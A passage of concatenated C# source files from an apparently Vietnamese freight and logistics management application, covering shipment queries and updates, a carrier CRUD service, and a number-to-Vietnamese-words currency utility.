Shipment1.CneeId = ShipmentModel1.CneeId;
Shipment1.DateShp = DateUtils.Convert2DateTime(ShipmentModel1.Dateshp);
Shipment1.Description = ShipmentModel1.Description;
Shipment1.QtyName = ShipmentModel1.QtyName;
Shipment1.QtyNumber = ShipmentModel1.QtyNumber;
Shipment1.QtyUnit = ShipmentModel1.QtyUnit;
Shipment1.SaleId = ShipmentModel1.SaleId;
Shipment1.SaleType = ShipmentModel1.SaleType;
Shipment1.ServiceName = ShipmentModel1.ServiceName;
Shipment1.ShipperId = ShipmentModel1.ShipperId;
Shipment1.CompanyId = ShipmentModel1.CompanyId;
Shipment1.DepartureId = ShipmentModel1.DepartureId;
Shipment1.DestinationId = ShipmentModel1.DestinationId;
Shipment1.HouseNum = ShipmentModel1.HouseNum;
Shipment1.MasterNum = ShipmentModel1.MasterNum;
Shipment1.SFreights = ShipmentModel1.SFreights;
Shipment1.CarrierAirId = ShipmentModel1.CarrierAirId;
Shipment1.RevenueStatus = ShipmentModel1.RevenueStatus;
Shipment1.isDelivered = ShipmentModel1.isDelivered;
Shipment1.DeliveredDate = DateUtils.Convert2DateTime(ShipmentModel1.DeliveredDate);
Shipment1.IsLock = ShipmentModel1.LockShipment;
Shipment1.VoucherId = ShipmentModel1.VoucherId;
Shipment1.IsTrading = ShipmentModel1.IsTrading;
Shipment1.ShipmentRef = ShipmentModel1.ShipmentRef;
Shipment1.IsMainShipment = ShipmentModel1.IsMainControl;
Shipment1.ServiceId = ShipmentModel1.ServiceId;
var servicesType = db.ServicesTypes.FirstOrDefault(x => x.Id == Shipment1.ServiceId);
if (servicesType != null)
Shipment1.ServiceName = servicesType.SerivceName;
ShipmentModel1.IsControl = Shipment1.IsControl;
ShipmentModel1.ControlStep = Shipment1.ControlStep;
if (ShipmentModel1.UserListInControl != null && ShipmentModel1.UserListInControl.Any())
Shipment1.UserListInControl = string.Join(";", ShipmentModel1.UserListInControl);
}
#endregion
#region Shipment Gets
public Shipment GetShipmentById(long Id1)
{
try
{
return db.Shipments.FirstOrDefault(e => e.Id == Id1);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public ShipmentModel GetShipmentModelById(long Id1)
{
try
{
return ConvertShipment(db.Shipments.FirstOrDefault(e => e.Id == Id1));
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public IEnumerable<Shipment> GetAllShipment(List<long> UserIds)
{
try
{
return (from Shipment1 in db.Shipments
where UserIds.Contains(Shipment1.SaleId.Value)
select Shipment1);
}
catch (Exception e) { Logger.LogError(e); }
return null;
}
public IEnumerable<Shipment> GetAllShipment(ShipmentModel SearchModel, User user, List<long> UserIds, long QuickView)
{
if (SearchModel.SaleId != 0)
{
UserIds = new List<long> { SearchModel.SaleId };
}
try
{
{
IEnumerable<Shipment> shipments = (from shipment1 in db.Shipments
where
(string.IsNullOrEmpty(SearchModel.RevenueStatus) ||
shipment1.RevenueStatus == SearchModel.RevenueStatus)
&&
(string.IsNullOrEmpty(SearchModel.SaleType) || shipment1.SaleType == SearchModel.SaleType)
&& (SearchModel.ServiceId == 0 || shipment1.ServiceId == SearchModel.ServiceId)
&& (SearchModel.ShipperId == 0 || shipment1.ShipperId.Value == SearchModel.ShipperId)
&& (SearchModel.AgentId == 0 || shipment1.AgentId.Value == SearchModel.AgentId)
&& (SearchModel.AgentId == 0 || shipment1.AgentId.Value == SearchModel.AgentId)
&& (SearchModel.CarrierAirId == 0 || shipment1.CarrierAirId.Value == SearchModel.CarrierAirId)
&& (SearchModel.CneeId == 0 || shipment1.CneeId.Value == SearchModel.CneeId)
&& (string.IsNullOrEmpty(SearchModel.HouseNum) || shipment1.HouseNum.Contains(SearchModel.HouseNum))
&& (string.IsNullOrEmpty(SearchModel.MasterNum) || shipment1.MasterNum.Contains(SearchModel.MasterNum))
&& (SearchModel.Id == 0 || shipment1.Id == SearchModel.Id)
&& (UserIds.Count == 0 || UserIds.Contains(shipment1.SaleId.Value))
|| (user.IsOperations() &&
(user.AllowTrackAirIn &&
shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.AirInbound.ToString()))
||
(user.AllowTrackAirOut &&
shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.AirOutbound.ToString()))
||
(user.AllowTrackSeaIn &&
shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.SeaInbound.ToString()))
||
(user.AllowTrackSeaOut &&
shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.SeaOutbound.ToString()))
||
(user.AllowTrackInlandSer &&
shipment1.ServicesType.SerivceName.Equals(
ShipmentModel.Services.InlandService.ToString()))
||
(user.AllowTrackProjectSer &&
shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.Other.ToString()))
)
select shipment1);
if (QuickView == 1)
{
DateTime ToDay = DateTime.Now;
DateTime DateFrom =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(ToDay.Day.ToString()) + "/" +
DateUtils.ConvertDay(ToDay.Month.ToString()) + "/" + ToDay.Year);
//ToDay = ToDay.AddDays(1);
DateTime DateTo =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(ToDay.Day.ToString()) + "/" +
DateUtils.ConvertDay(ToDay.Month.ToString()) + "/" + ToDay.Year);
shipments = shipments.Where(m => m.DateShp >= DateFrom && m.DateShp <= DateTo);
}
else if (QuickView == 2)
{
DateTime monday = DateTime.Today.AddDays(-(int)DateTime.Today.DayOfWeek + 1);
DateTime dateFrom =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(monday.Day.ToString()) + "/" +
DateUtils.ConvertDay(monday.Month.ToString()) + "/" + monday.Year);
monday = monday.AddDays(6);
DateTime dateTo =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(monday.Day.ToString()) + "/" +
DateUtils.ConvertDay(monday.Month.ToString()) + "/" + monday.Year);
shipments = shipments.Where(m => m.DateShp >= dateFrom && m.DateShp <= dateTo);
}
else if (QuickView == 3)
{
DateTime toDay = DateTime.Now;
toDay = toDay.AddDays(1);
DateTime dateTo =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(toDay.Day.ToString()) + "/" +
DateUtils.ConvertDay(toDay.Month.ToString()) + "/" + toDay.Year);
shipments = shipments.Where(m => m.DateShp >= dateTo);
}
if (!user.IsTrading())
{
shipments = shipments.Where(m => m.VoucherId == null);
}
return shipments;
}
}
catch (Exception e)
{
Logger.LogError(e);
return null;
}
}
public IQueryable<Shipment> GetQueryShipment(ShipmentModel SearchModel, User user, List<long> UserIds, long QuickView)
{
if (SearchModel.SaleId != 0)
{
UserIds = new List<long> { SearchModel.SaleId };
}
var shipments = db.Shipments.Where(shipment1 =>
(string.IsNullOrEmpty(SearchModel.RevenueStatus) || shipment1.RevenueStatus == SearchModel.RevenueStatus)
&& (string.IsNullOrEmpty(SearchModel.SaleType) || shipment1.SaleType == SearchModel.SaleType)
&& (SearchModel.ServiceId == 0 || shipment1.ServiceId == SearchModel.ServiceId)
&& (SearchModel.ShipperId == 0 || shipment1.ShipperId.Value == SearchModel.ShipperId)
&& (SearchModel.AgentId == 0 || shipment1.AgentId.Value == SearchModel.AgentId)
&& (SearchModel.AgentId == 0 || shipment1.AgentId.Value == SearchModel.AgentId)
&& (SearchModel.CarrierAirId == 0 || shipment1.CarrierAirId.Value == SearchModel.CarrierAirId)
&& (SearchModel.CneeId == 0 || shipment1.CneeId.Value == SearchModel.CneeId)
&& (string.IsNullOrEmpty(SearchModel.HouseNum) || shipment1.HouseNum.Contains(SearchModel.HouseNum))
&& (string.IsNullOrEmpty(SearchModel.MasterNum) || shipment1.MasterNum.Contains(SearchModel.MasterNum))
&& (SearchModel.Id == 0 || shipment1.Id == SearchModel.Id)
);
if (SearchModel.SaleId != 0)
{
shipments = shipments.Where(shipment1 => shipment1.SaleId.Value == SearchModel.SaleId);
}
else if (user.IsOperations())
{
shipments = shipments.Where(shipment1 =>
(UserIds.Count == 0 || UserIds.Contains(shipment1.SaleId.Value))
||
(
(user.AllowTrackAirIn == true && shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.AirInbound.ToString()))
||
(user.AllowTrackAirOut == true && shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.AirOutbound.ToString()))
||
(user.AllowTrackSeaIn == true && shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.SeaInbound.ToString()))
||
(user.AllowTrackSeaOut == true && shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.SeaOutbound.ToString()))
||
(user.AllowTrackInlandSer == true && shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.InlandService.ToString()))
||
(user.AllowTrackProjectSer == true && shipment1.ServicesType.SerivceName.Equals(ShipmentModel.Services.Other.ToString()))
));
}
else
{
shipments = shipments.Where(shipment1 =>
(UserIds.Count == 0 || UserIds.Contains(shipment1.SaleId.Value)));
}
switch (QuickView)
{
case 1:
{
DateTime toDay = DateTime.Now;
DateTime dateFrom =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(toDay.Day.ToString()) + "/" +
DateUtils.ConvertDay(toDay.Month.ToString()) + "/" + toDay.Year);
//ToDay = ToDay.AddDays(1);
DateTime dateTo =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(toDay.Day.ToString()) + "/" +
DateUtils.ConvertDay(toDay.Month.ToString()) + "/" + toDay.Year);
shipments = shipments.Where(m => m.DateShp >= dateFrom && m.DateShp <= dateTo);
}
break;
case 2:
{
DateTime monday = DateTime.Today.AddDays(-(int)DateTime.Today.DayOfWeek + 1);
DateTime dateFrom =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(monday.Day.ToString()) + "/" +
DateUtils.ConvertDay(monday.Month.ToString()) + "/" + monday.Year);
monday = monday.AddDays(6);
DateTime dateTo =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(monday.Day.ToString()) + "/" +
DateUtils.ConvertDay(monday.Month.ToString()) + "/" + monday.Year);
shipments = shipments.Where(m => m.DateShp >= dateFrom && m.DateShp <= dateTo);
}
break;
case 3:
{
DateTime toDay = DateTime.Now;
toDay = toDay.AddDays(1);
DateTime dateTo =
DateUtils.Convert2DateTime(DateUtils.ConvertDay(toDay.Day.ToString()) + "/" +
DateUtils.ConvertDay(toDay.Month.ToString()) + "/" + toDay.Year);
shipments = shipments.Where(m => m.DateShp >= dateTo);
}
break;
}
if (!user.IsTrading())
{
shipments = shipments.Where(m => m.VoucherId == null);
}
return shipments.AsQueryable();
}
public IEnumerable<Shipment> GetAllShipment(ShipmentModel SearchModel, List<long> UserIds)
{
if (SearchModel.SaleId != 0)
{
UserIds = new List<long> { SearchModel.SaleId };
}
try
{
return (from shipment1 in db.Shipments
where (string.IsNullOrEmpty(SearchModel.RevenueStatus) || shipment1.RevenueStatus == SearchModel.RevenueStatus)
&& (UserIds.Count == 0 || UserIds.Contains(shipment1.SaleId.Value))
&& (string.IsNullOrEmpty(SearchModel.SaleType) || shipment1.SaleType == SearchModel.SaleType)
&& (SearchModel.ServiceId == 0 || shipment1.ServiceName == SearchModel.ServiceName)
&& ((SearchModel.ShipperId == 0) || shipment1.ShipperId.Value == SearchModel.ShipperId)
&& ((SearchModel.AgentId == 0) || shipment1.AgentId.Value == SearchModel.AgentId)
&& ((SearchModel.CarrierAirId == 0) || shipment1.CarrierAirId.Value == SearchModel.CarrierAirId)
&& ((SearchModel.CneeId == 0) || shipment1.CneeId.Value == SearchModel.CneeId)
&& (string.IsNullOrEmpty(SearchModel.HouseNum) || (shipment1.HouseNum != null && shipment1.HouseNum.Contains(SearchModel.HouseNum)))
&& (string.IsNullOrEmpty(SearchModel.MasterNum) || (shipment1.MasterNum != null && shipment1.MasterNum.Contains(SearchModel.MasterNum)))
&& (SearchModel.Id == 0 || shipment1.Id == SearchModel.Id)
select shipment1);
}
catch (Exception e) { Logger.LogError(e); }
return null;
}
public IEnumerable<Shipment> GetAllShipment(int skip, int take, List<long> UserIds)
{
try
{
return (from Shipment1 in db.Shipments
where UserIds.Contains(Shipment1.SaleId.Value)
select Shipment1).Skip(skip).Take(take);
}
catch (Exception e) { Logger.LogError(e); }
return null;
}
public IEnumerable<Shipment> GetAllShipment(int skip, int take, ShipmentModel SearchModel, List<long> UserIds)
{
try
{
if (SearchModel != null)
{
return (from Shipment1 in db.Shipments
where ((SearchModel.RevenueStatus == null || SearchModel.RevenueStatus.Equals("")) || Shipment1.RevenueStatus == SearchModel.RevenueStatus)
&& (UserIds.Contains(Shipment1.SaleId.Value))
&& ((SearchModel.SaleType == null || SearchModel.SaleType.Equals("")) || Shipment1.SaleType == SearchModel.SaleType)
&& (SearchModel.ServiceId == 0 || Shipment1.ServiceId == SearchModel.ServiceId)
&& ((SearchModel.ShipperId == null) || (SearchModel.ShipperId == 0) || Shipment1.ShipperId.Value == SearchModel.ShipperId)
select Shipment1).Skip(skip).Take(take);
}
else
{
return (from Shipment1 in db.Shipments
where UserIds.Contains(Shipment1.SaleId.Value)
select Shipment1);
}
}
catch (Exception e) { Logger.LogError(e); }
return null;
}
#endregion
#region Shipment sets
public bool InsertShipment(ShipmentModel ShipmentModel1)
{
try
{
Shipment Shipment1 = ConvertShipment(ShipmentModel1);
Shipment1.CreateDate = DateTime.Now;
Shipment1.LockDate = DateTime.Now.AddDays(60);
Shipment1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Pending.ToString();
db.Shipments.InsertOnSubmit(Shipment1);
db.SubmitChanges();
long id = Shipment1.Id;
if (ShipmentModel1.IsMainControl)
{
Shipment1.ShipmentRef = id;
CreateShipmentchildOfMainControl(id, ShipmentModel1);
UpdateShipment();
}
return true;
}
catch (Exception e)
{
Logger.LogError(e);
e.GetBaseException();
return false;
}
}
private void CreateShipmentchildOfMainControl(long shipId, ShipmentModel ShipmentModel1)
{
if (ShipmentModel1 == null || !ShipmentModel1.IsMainControl || !ShipmentModel1.UserListInControl.Any())
return;
var step = GetStepControlNumber(shipId);
foreach (var userId in ShipmentModel1.UserListInControl)
{
Shipment Shipment1 = ConvertShipment(ShipmentModel1);
Shipment1.IsMainShipment = false;
Shipment1.ShipmentRef = shipId;
Shipment1.UserListInControl = null;
Shipment1.CreateDate = DateTime.Now;
Shipment1.LockDate = DateTime.Now.AddDays(60);
Shipment1.RevenueStatus = ShipmentModel.RevenueStatusCollec.Pending.ToString();
Shipment1.SaleId = userId;
Shipment1.IsControl = true;
Shipment1.ControlStep = step;
db.Shipments.InsertOnSubmit(Shipment1);
step++;
}
db.SubmitChanges();
}
public bool UpdateShipment(ShipmentModel ShipmentModel1)
{
Shipment Shipment1 = GetShipmentById(ShipmentModel1.Id);
if (Shipment1 == null) return false;
var userList = new List<long>();
if (ShipmentModel1.IsMainControl && !string.IsNullOrEmpty(Shipment1.UserListInControl))
userList = Shipment1.UserListInControl.Split(';').Select(s => long.Parse(s)).ToList();
ConvertShipment(ShipmentModel1, Shipment1);
Shipment1.UpdateDate = DateTime.Now;
if (Shipment1.IsControl && !Shipment1.IsMainShipment)
UpdateMainShipmentStatus(Shipment1.ShipmentRef.Value);
db.SubmitChanges();
if (!ShipmentModel1.IsMainControl) return true;
if (ShipmentModel1.UserListInControl == null)
ShipmentModel1.UserListInControl = new List<long>();
var newUserList = ShipmentModel1.UserListInControl.ToList();
var newList = userList.Aggregate(newUserList.ToList(), (l, e) => { l.Remove(e); return l; }).ToArray(); // setB - setA
var delLiset = newUserList.Aggregate(userList.ToList(), (l, e) => { l.Remove(e); return l; }).ToArray(); // setB - setA
//var delLiset = userList.Except(newUserList).ToList();
//var newList = newUserList.Except(userList).ToList();
//if (!delLiset.Any() && !newList.Any() && userList.Count == newUserList.Count) return true;
if (delLiset.Any())
{
foreach (var idUser in delLiset)
{
var shipmentSub =
db.Shipments.FirstOrDefault(
x =>
x.ShipmentRef.Value == Shipment1.Id && x.SaleId.Value == idUser && x.IsMainShipment == false &&
!x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved.ToString()));
if (shipmentSub != null)
db.Shipments.DeleteOnSubmit(shipmentSub);
UpdateShipment();
}
}
//if (!newList.Any() && !delLiset.Any() && newUserList.Any()) newList = newUserList;
if (newList.Any())
{
ShipmentModel1.UserListInControl = newList;
CreateShipmentchildOfMainControl(ShipmentModel1.Id, ShipmentModel1);
}
UpdateSubByMainShipment(Shipment1);
UpdateShipment();
UpdateMainShipmentStatus(Shipment1.Id);
return true;
}
public void UpdateSubByMainShipment(Shipment Shipment1)
{
var shipsub = db.Shipments.Where(x => x.ShipmentRef == Shipment1.Id && x.IsMainShipment == false).ToList();
if (shipsub.Any())
{
var userincontrol = shipsub.Select(x => x.SaleId != null ? x.SaleId.Value : 0);
Shipment1.UserListInControl = string.Join(";", userincontrol.Where(x => x != 0).ToList());
foreach (var item in shipsub)
{
item.DateShp = Shipment1.DateShp;
item.CarrierAirId = Shipment1.CarrierAirId;
item.DepartureId = Shipment1.DepartureId;
item.DestinationId = Shipment1.DestinationId;
item.AgentId = Shipment1.AgentId;
item.ServiceId = Shipment1.ServiceId;
item.ServiceName = Shipment1.ServiceName;
item.MasterNum = Shipment1.MasterNum;
}
Shipment1.HouseNum = string.Format(@"has {0} hbl", shipsub.Count);
}
else
{
Shipment1.UserListInControl = null;
Shipment1.HouseNum = string.Format(@"has {0} hbl", shipsub.Count);
}
}
public void UpdateShipment()
{
db.SubmitChanges();
}
public bool DeleteShipment(long Id1)
{
Shipment Shipment1 = GetShipmentById(Id1);
if (Shipment1 != null &&
!Shipment1.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved.ToString()))
{
try
{
if (Shipment1.IsMainShipment == true)
{
var listShipments = db.Shipments.Where(x => x.ShipmentRef == Shipment1.Id && x.IsMainShipment == false
&& !x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved.ToString())
).ToList();
db.Shipments.DeleteAllOnSubmit(listShipments);
UpdateShipment();
listShipments = db.Shipments.Where(x => x.ShipmentRef == Shipment1.Id && x.IsMainShipment == false).ToList();
UpdateSubByMainShipment(Shipment1);
UpdateMainShipmentStatus(Id1);
if (listShipments.Count <= 0)
{
db.Shipments.DeleteOnSubmit(Shipment1);
UpdateShipment();
}
UpdateRevenueOfControl(Shipment1.Id);
return true;
}
else if (Shipment1.ShipmentRef != null)
{
db.Shipments.DeleteOnSubmit(Shipment1);
UpdateShipment();
var mainShipment = db.Shipments.FirstOrDefault(x => x.Id == Shipment1.ShipmentRef && x.IsMainShipment == true);
if (mainShipment != null)
{
var userList = mainShipment.UserListInControl.Split(';').Select(s => long.Parse(s)).ToList();
userList.Remove(Shipment1.SaleId.Value);
userList = userList.Where(x => x != 0).ToList();
mainShipment.UserListInControl = string.Join(";", userList);
mainShipment.HouseNum = string.Format(@"has {0} hbl", userList.Count);
UpdateShipment();
UpdateRevenueOfControl(mainShipment.Id);
}
UpdateMainShipmentStatus(Id1);
return true;
}
else
{
db.Shipments.DeleteOnSubmit(Shipment1);
UpdateShipment();
return true;
}
}
catch (Exception e)
{
Logger.LogError(e);
}
}
else
{
if (Shipment1 == null)
{
Logger.LogError(string.Format(@" shipment Id {0} không tồn tại", Id1));
}
else
{
Logger.LogError(string.Format(@"Không xoá được shipment Id {0} với status {1}", Shipment1.Id, Shipment1.RevenueStatus));
}
return false;
}
return true;
}
public void UpdateMainShipmentStatus(long id)
{
var ships = db.Shipments.Where(x => x.ShipmentRef == id && x.IsMainShipment == false).ToList();
var mainShip = GetShipmentById(id);
if (mainShip == null) return;
mainShip.RevenueStatus = ships.All(x =>
x.RevenueStatus.Equals(ShipmentModel.RevenueStatusCollec.Approved.ToString())) ?
ShipmentModel.RevenueStatusCollec.Approved.ToString()
: ShipmentModel.RevenueStatusCollec.Pending.ToString();
UpdateShipment();
}
public void UpdateRevenueOfControl(long id)
{
var revenueControl = getRevenueById(id);
var revenues =
db.Revenues.Where(
x => x.Shipment != null && x.Shipment.ShipmentRef == id && x.Shipment.IsMainShipment == false)
.ToList();
if (!revenues.Any()) return;
var first = revenues.FirstOrDefault();
var isNew = false;
if (revenueControl == null)
{
revenueControl = new Revenue()
{
Id = id,
IsControl = true,
ARate = first.ARate,
AccInv1 = first.AccInv1,
AccInv2 = first.AccInv2,
AccInv3 = first.AccInv3,
AccInv4 = first.AccInv4,
AccInvDate1 = first.AccInvDate1,
AccInvDate2 = first.AccInvDate2,
AccInvDate3 = first.AccInvDate3,
AccInvDate4 = first.AccInvDate4,
};
isNew = true;
}
revenueControl.Income = revenues.Sum(x => x.Income ?? 0);
revenueControl.INVI = revenues.Sum(x => x.INVI ?? 0);
revenueControl.INOS = revenues.Sum(x => x.INOS ?? 0);
revenueControl.INTransportRate = revenues.Sum(x => x.INTransportRate ?? 0);
revenueControl.INTransportRate_OS = revenues.Sum(x => x.INTransportRate_OS ?? 0);
revenueControl.INInlandService = revenues.Sum(x => x.INInlandService ?? 0);
revenueControl.INInlandService_OS = revenues.Sum(x => x.INInlandService_OS ?? 0);
revenueControl.INCreditDebit = revenues.Sum(x => x.INCreditDebit ?? 0);
revenueControl.INCreditDebit_OS = revenues.Sum(x => x.INCreditDebit_OS ?? 0);
revenueControl.INDocumentFee = revenues.Sum(x => x.INDocumentFee ?? 0);
revenueControl.INDocumentFee_OS = revenues.Sum(x => x.INDocumentFee_OS ?? 0);
revenueControl.INHandingFee = revenues.Sum(x => x.INHandingFee ?? 0);
revenueControl.INHandingFee_OS = revenues.Sum(x => x.INHandingFee_OS ?? 0);
revenueControl.INTHC = revenues.Sum(x => x.INTHC ?? 0);
revenueControl.INCFS = revenues.Sum(x => x.INCFS ?? 0);
revenueControl.INAutoValue1 = revenues.Sum(x => x.INAutoValue1 ?? 0);
revenueControl.INAutoValue1_OS = revenues.Sum(x => x.INAutoValue1_OS ?? 0);
revenueControl.INAutoValue2 = revenues.Sum(x => x.INAutoValue2 ?? 0);
revenueControl.INAutoValue2_OS = revenues.Sum(x => x.INAutoValue2_OS ?? 0);
revenueControl.Expense = revenues.Sum(x => x.Expense ?? 0);
revenueControl.EXVI = revenues.Sum(x => x.EXVI ?? 0);
revenueControl.EXOS = revenues.Sum(x => x.EXOS ?? 0);
revenueControl.EXTransportRate = revenues.Sum(x => x.EXTransportRate ?? 0);
revenueControl.EXTransportRate_OS = revenues.Sum(x => x.EXTransportRate_OS ?? 0);
revenueControl.EXInlandService = revenues.Sum(x => x.EXInlandService ?? 0);
revenueControl.EXInlandService_OS = revenues.Sum(x => x.EXInlandService_OS ?? 0);
revenueControl.EXCommision2Shipper = revenues.Sum(x => x.EXCommision2Shipper ?? 0);
revenueControl.EXCommision2Carrier = revenues.Sum(x => x.EXCommision2Carrier ?? 0);
revenueControl.EXTax = revenues.Sum(x => x.EXTax ?? 0);
revenueControl.EXCreditDebit = revenues.Sum(x => x.EXCreditDebit ?? 0);
revenueControl.EXCreditDebit_OS = revenues.Sum(x => x.EXCreditDebit_OS ?? 0);
revenueControl.EXDocumentFee = revenues.Sum(x => x.EXDocumentFee ?? 0);
revenueControl.EXHandingFee = revenues.Sum(x => x.EXHandingFee ?? 0);
revenueControl.EXTHC = revenues.Sum(x => x.EXTHC ?? 0);
revenueControl.EXCFS = revenues.Sum(x => x.EXCFS ?? 0);
revenueControl.EXManualValue1 = revenues.Sum(x => x.EXManualValue1 ?? 0);
revenueControl.EXmanualValue1_OS = revenues.Sum(x => x.EXmanualValue1_OS ?? 0);
revenueControl.ExManualValue2 = revenues.Sum(x => x.ExManualValue2 ?? 0);
revenueControl.EXmanualValue2_OS = revenues.Sum(x => x.EXmanualValue2_OS ?? 0);
revenueControl.Earning = revenues.Sum(x => x.Earning ?? 0);
revenueControl.EarningVI = revenues.Sum(x => x.EarningVI ?? 0);
revenueControl.EarningOS = revenues.Sum(x => x.EarningOS);
revenueControl.EarningOS = revenues.Sum(x => x.EarningOS);
revenueControl.InvAmount1 = revenues.Sum(x => x.InvAmount1);
revenueControl.InvAmount2 = revenues.Sum(x => x.InvAmount2 ?? 0);
revenueControl.OUTAutoValue1 = revenues.Sum(x => x.OUTAutoValue1 ?? 0);
revenueControl.OUTAutoValue1 = revenues.Sum(x => x.OUTAutoValue1 ?? 0);
revenueControl.EXAutoValue1_OS = revenues.Sum(x => x.EXAutoValue1_OS ?? 0);
revenueControl.EXAutoValue2_OS = revenues.Sum(x => x.EXAutoValue2_OS ?? 0);
revenueControl.InvoiceCustom = revenues.Sum(x => x.InvoiceCustom ?? 0);
revenueControl.IsControl = true;
if (isNew)
{
db.Revenues.InsertOnSubmit(revenueControl);
}
db.SubmitChanges();
}
#endregion
#endregion
#region Area Services
public IEnumerable<Area> getAllAreaByCountry(long CountryId)
{
return (from Area1 in db.Areas
where Area1.IsSee == true && Area1.IsHideUser == false
where Area1.CountryId.Value == CountryId
select Area1);
}
#endregion
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface ICarrierService : IServices<CarrierAirLine>
{
CarrierAirLine GetById(long id);
CarrierModel GetModelById(long id);
IQueryable<CarrierAirLine> GetAll(CarrierAirLine agent);
IEnumerable<CarrierAirLine> GetAllByType(string type);
bool InsertCarrier(CarrierModel model);
bool UpdateCarrier(CarrierModel model);
bool DeleteCarrier(long id);
bool SetActive(int id, bool isActive);
}
public class CarrierService : Services<CarrierAirLine>, ICarrierService
{
public CarrierAirLine GetById(long id)
{
return GetQuery().FirstOrDefault(x => x.Id == id);
}
public CarrierModel GetModelById(long id)
{
var db = GetById(id);
if (db == null) return null;
return Mapper.Map<CarrierModel>(db);
}
public IQueryable<CarrierAirLine> GetAll(CarrierAirLine model)
{
var qr = GetQuery(s =>
(string.IsNullOrEmpty(model.CarrierAirLineName) ||
(s.CarrierAirLineName.Contains(model.CarrierAirLineName)))
&& (string.IsNullOrEmpty(model.AbbName) || s.AbbName.Contains(model.AbbName))
&& (string.IsNullOrEmpty(model.Type) || s.Type.Contains(model.Type))
);
return qr;
}
public IEnumerable<CarrierAirLine> GetAllByType(string type)
{
var qr = GetQuery(x => x.IsActive && x.IsSee && x.IsHideUser == false &&
x.Type.Equals(type)
|| x.Type.Equals(CarrierType.Fowarder.ToString())
|| x.Type.Equals(CarrierType.Other.ToString()));
return qr.ToList();
}
public bool InsertCarrier(CarrierModel model)
{
try
{
var db = new CarrierAirLine();
ConvertModel(model, db);
Insert(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool UpdateCarrier(CarrierModel model)
{
try
{
var db = GetById(model.Id);
ConvertModel(model, db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool DeleteCarrier(long id)
{
try
{
var db = GetById(id);
Delete(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool SetActive(int id, bool isActive)
{
var db = GetById(id);
if (db == null) return false;
db.IsActive = isActive;
Commited();
return true;
}
private void ConvertModel(CarrierModel model, CarrierAirLine db)
{
db.Type = model.Type;
db.PhoneNumber = model.PhoneNumber;
db.Description = model.Description;
db.AbbName = model.AbbName;
db.Address = model.Address;
db.CarrierAirLineName = model.CarrierAirLineName;
db.Fax = model.Fax;
}
}
}<file_sep>using System;
using System.Linq;
using System.Linq.Expressions;
using SSM.Common;
namespace SSm.Common
{
public enum CodeCurrency
{
VND,
USD,
}
public static class CurrencyNumToString
{
public static string DecimalToString(this decimal number, CodeCurrency code)
{
number = decimal.Round(number, 2, MidpointRounding.AwayFromZero);
string wordNumber = string.Empty;
string[] arrNumber = number.ToString().Split('.');
long wholePart = long.Parse(arrNumber[0]);
string strWholePart = NumberToString(wholePart);
switch (code)
{
case CodeCurrency.USD:
wordNumber = (wholePart == 0 ? "Không " : strWholePart) + (wholePart == 1 ? "us dollar và " : "us dollars và ");
if (arrNumber.Length > 1)
{
long fractionPart = long.Parse((arrNumber[1].Length == 1 ? arrNumber[1] + "0" : arrNumber[1]));
string strFarctionPart = NumberToString(fractionPart);
//var le = arrNumber[1].Length == 2 && arrNumber[1].StartsWith("0") ? "phẩy không " + strFarctionPart : " phẩy " + strFarctionPart;
wordNumber += strFarctionPart + (fractionPart > 1 ? "cents" : "cent ");
}
//wordNumber += "đo la./.";
break;
case CodeCurrency.VND:
default:
wordNumber = (wholePart == 0 ? "Không " : strWholePart);
wordNumber += "đồng chẵn./.";
break;
}
return wordNumber.Trim().FirstCharToUpper();
}
public static string FirstCharToUpper(this string input)
{
if (String.IsNullOrEmpty(input))
throw new ArgumentException("ARGH!");
input = input.Trim();
var str = input.First().ToString().ToUpper() + input.Substring(1).ToLower();
return str.Replace(" ", " ");
}
private static string NumberToString(decimal number)
{
string s = number.ToString("#");
string[] so = new string[] { "không", "một", "hai", "ba", "bốn", "năm", "sáu", "bảy", "tám", "chín" };
string[] hang = new string[] { "", "nghìn", "triệu", "tỷ" };
int i, j, donvi, chuc, tram;
string str = " ";
bool booAm = false;
decimal decS = 0;
try
{
decS = Convert.ToDecimal(s.ToString());
}
catch (Exception ex)
{
Logger.LogDebug(ex.Message);
}
if (decS < 0)
{
decS = -decS;
s = decS.ToString();
booAm = true;
}
i = s.Length;
if (i == 0)
str = so[0] + str;
else
{
j = 0;
while (i > 0)
{
donvi = Convert.ToInt32(s.Substring(i - 1, 1));
i--;
if (i > 0)
chuc = Convert.ToInt32(s.Substring(i - 1, 1));
else
chuc = -1;
i--;
if (i > 0)
tram = Convert.ToInt32(s.Substring(i - 1, 1));
else
tram = -1;
i--;
if ((donvi > 0) || (chuc > 0) || (tram > 0) || (j == 3))
str = hang[j] + str;
j++;
if (j > 3) j = 1;
if ((donvi == 1) && (chuc > 1))
str = "một " + str;
else
{
if ((donvi == 5) && (chuc > 0))
str = "lăm " + str;
else if (donvi > 0)
